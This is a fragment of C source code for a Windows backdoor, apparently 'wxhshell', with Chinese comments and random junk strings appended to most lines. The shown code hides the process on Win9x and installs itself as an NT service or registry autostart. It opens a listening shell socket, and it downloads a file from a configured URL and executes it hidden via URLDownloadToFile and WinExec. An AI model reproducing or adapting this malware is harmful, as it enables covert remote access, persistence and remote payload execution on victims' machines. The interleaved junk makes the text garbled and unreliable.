DWORD BasePriority; bJ~H
ULONG UniqueProcessId; DB'v7
Ij0
ULONG InheritedFromUniqueProcessId; st-{xC#N#
} PROCESS_BASIC_INFORMATION; 8Q'Emw |
$%bSRvA
PROCNTQSIP NtQueryInformationProcess; l/.{F ;3F
OUX7
*_
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; v=U<exM6%
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ]G/m,Zv*:
=RoG?gd{R
HANDLE hProcess; eV9U+]C`
PROCESS_BASIC_INFORMATION pbi; pv_o4qEN
3:J>-MO
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); AGlBvRX7e
if(NULL == hInst ) return 0; G@]3EP
Hfcpqa
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); yW_yHSx;
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); $J[( 3
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); iC"iR\Qu
){^J8]b7#
if (!NtQueryInformationProcess) return 0; cD!,ZL
n;g'?z=hy
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId());
5ZCu6A
if(!hProcess) return 0; CIudtY(:
NR4+&d
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 8wU$kK
p.DQ|?
CloseHandle(hProcess); >)>f~ >
gq=t7b
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); *1|7%*!8
if(hProcess==NULL) return 0; ACszx\[K3
,06Sm]4L,
HMODULE hMod; 'Y38VOI%
char procName[255]; a<cwrDZ
unsigned long cbNeeded; amBg<P`'_
!/FRL<mp
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 7=^{~5#
;%e&6
CloseHandle(hProcess); T{{:p\<]_
6= iHw24
if(strstr(procName,"services")) return 1; // 以服务启动 BWt`l,nF
Y;i=c6
return 0; // 注册表启动 o) )` "^
} c6h?b[]
inut'@=G/
// 主模块 vFPY|Vzh
int StartWxhshell(LPSTR lpCmdLine) Oa|c ?|+
{ |RX#5Q>z
SOCKET wsl; eqx }]#
BOOL val=TRUE; 1IXtu
int port=0; )Z7Vm2a
struct sockaddr_in door; X\^V{v^-
wJp<ZL
if(wscfg.ws_autoins) Install(); hnj\|6L
,9&cIUH
port=atoi(lpCmdLine); !_fDL6a-
WAu>p3
if(port<=0) port=wscfg.ws_port; NxP(&M(
&:&'70Ya
WSADATA data; *z0!=>(
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1;
a_?sJ
|T:R.=R$~
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 8$( I! ;
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Qqm?%7A1
door.sin_family = AF_INET; C}huU
door.sin_addr.s_addr = inet_addr("127.0.0.1"); -/f$s1
door.sin_port = htons(port); *+M#D^qo
{j2V k)\[i
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { mLCDN1UO{
closesocket(wsl); hU?DLl:bXF
return 1; MAh1tYs4D
} dN8Mfa)
3j7FG%\
if(listen(wsl,2) == INVALID_SOCKET) { \xYVnjG,
closesocket(wsl); )[rVg/m
return 1; 4XkI? l
} k^5Lv#Z
Wxhshell(wsl); J1w;m/oV
WSACleanup(); /\mtCa.O
jJ$\ WUQ.
return 0; QiK>]xJ'
qTsy'y;Z
} zdN[Uc+1Bd
{
I#>6
// 以NT服务方式启动 65EMB%
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 0 QTI;3
{ O(^h_
DWORD status = 0; rT2Njy1
DWORD specificError = 0xfffffff; xo>0j#
"\4W])30
serviceStatus.dwServiceType = SERVICE_WIN32; =2\2Sp
serviceStatus.dwCurrentState = SERVICE_START_PENDING; +O}Ik.w
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; F!+1w(b:
serviceStatus.dwWin32ExitCode = 0; n!)$e;l
serviceStatus.dwServiceSpecificExitCode = 0; 3H2~?CaJ
serviceStatus.dwCheckPoint = 0; 0jTReY-W
serviceStatus.dwWaitHint = 0; z8\YMr6o
q/O2E<=w*c
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); M2Q,&>M
if (hServiceStatusHandle==0) return; :_e[xB=Yy
;aQ``B
status = GetLastError(); ;(C<gt,r}
if (status!=NO_ERROR) @*z"Hi>4
{ KC;cu%H
serviceStatus.dwCurrentState = SERVICE_STOPPED; ,s8/6n#
serviceStatus.dwCheckPoint = 0; +_GS@)L`%
serviceStatus.dwWaitHint = 0; 3^8Cc(bk
serviceStatus.dwWin32ExitCode = status; 4]o+)d.`(
serviceStatus.dwServiceSpecificExitCode = specificError; -.Wcz|
SetServiceStatus(hServiceStatusHandle, &serviceStatus); W!{RJWe
return; D<WnPLA$g
} :[0 R F^2}
5kGniG?T#
serviceStatus.dwCurrentState = SERVICE_RUNNING; F0$w9p
serviceStatus.dwCheckPoint = 0; M(X
_I`\E
serviceStatus.dwWaitHint = 0; Fp\;j\pfw
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); )qy?x7
} bP18w0>,
,`geOJn'
// 处理NT服务事件,比如:启动、停止 ibkB>n{(
VOID WINAPI NTServiceHandler(DWORD fdwControl) U,g8:M
xHK
{ H4g8
1V=
switch(fdwControl) 1 Pk+zBJ$
{ ~P3b5 -
case SERVICE_CONTROL_STOP: hRf
l\Q[
serviceStatus.dwWin32ExitCode = 0; u/=hueR<^
serviceStatus.dwCurrentState = SERVICE_STOPPED; DU^.5f
serviceStatus.dwCheckPoint = 0; u*C*O4f>OC
serviceStatus.dwWaitHint = 0; $DHE%IN`
{ q5;dQ8Y?
SetServiceStatus(hServiceStatusHandle, &serviceStatus); VZ9 p "
} N/tcW
return; E)-;sFz
case SERVICE_CONTROL_PAUSE: 7zu\tCWb
serviceStatus.dwCurrentState = SERVICE_PAUSED; f,G*e367:
break; `~XksyT
case SERVICE_CONTROL_CONTINUE: }e\"VhAl/
serviceStatus.dwCurrentState = SERVICE_RUNNING; 2!#g\"
break; #^}H)>jWy
case SERVICE_CONTROL_INTERROGATE: 'z|Da &d P
break; UoxlEec
}; nxZz{&
SetServiceStatus(hServiceStatusHandle, &serviceStatus); C19N0=
} A8-[EBkK
8~Kq"wrbu
// 标准应用程序主函数 e,%|sAs[
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) DNGyEC
{ O#)1zD}
AjK5x@\
// 获取操作系统版本 Ohm{m^VD"
OsIsNt=GetOsVer(); 8pnD6Lp>
GetModuleFileName(NULL,ExeFile,MAX_PATH); *w0!C:mL&
+[76 _EXy
// 从命令行安装 ]IV{;{E)
if(strpbrk(lpCmdLine,"iI")) Install(); D;en!.[Z
^lp=4C9
// 下载执行文件 FX!KX/OE)
if(wscfg.ws_downexe) { ~.T|n =
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) w)7y{ya$
WinExec(wscfg.ws_filenam,SW_HIDE); ;W-
A2g
} x?L0R{?WW
gmVN(K}SR5
if(!OsIsNt) { a2P)@R
// 如果时win9x,隐藏进程并且设置为注册表启动 ;EBKzB
HideProc(); {o~TbnC
StartWxhshell(lpCmdLine); B $u/n
} _=HaE&
else 71{Q#%5U~
if(StartFromService()) ~Dt$}l-9
// 以服务方式启动 'g%:/lwA
StartServiceCtrlDispatcher(DispatchTable); MT!Y!*-5
else O>L,G)g
// 普通方式启动 #Th)^Is
StartWxhshell(lpCmdLine); .i*oZ'[X
y8YsS4E^Q
return 0; "^&H9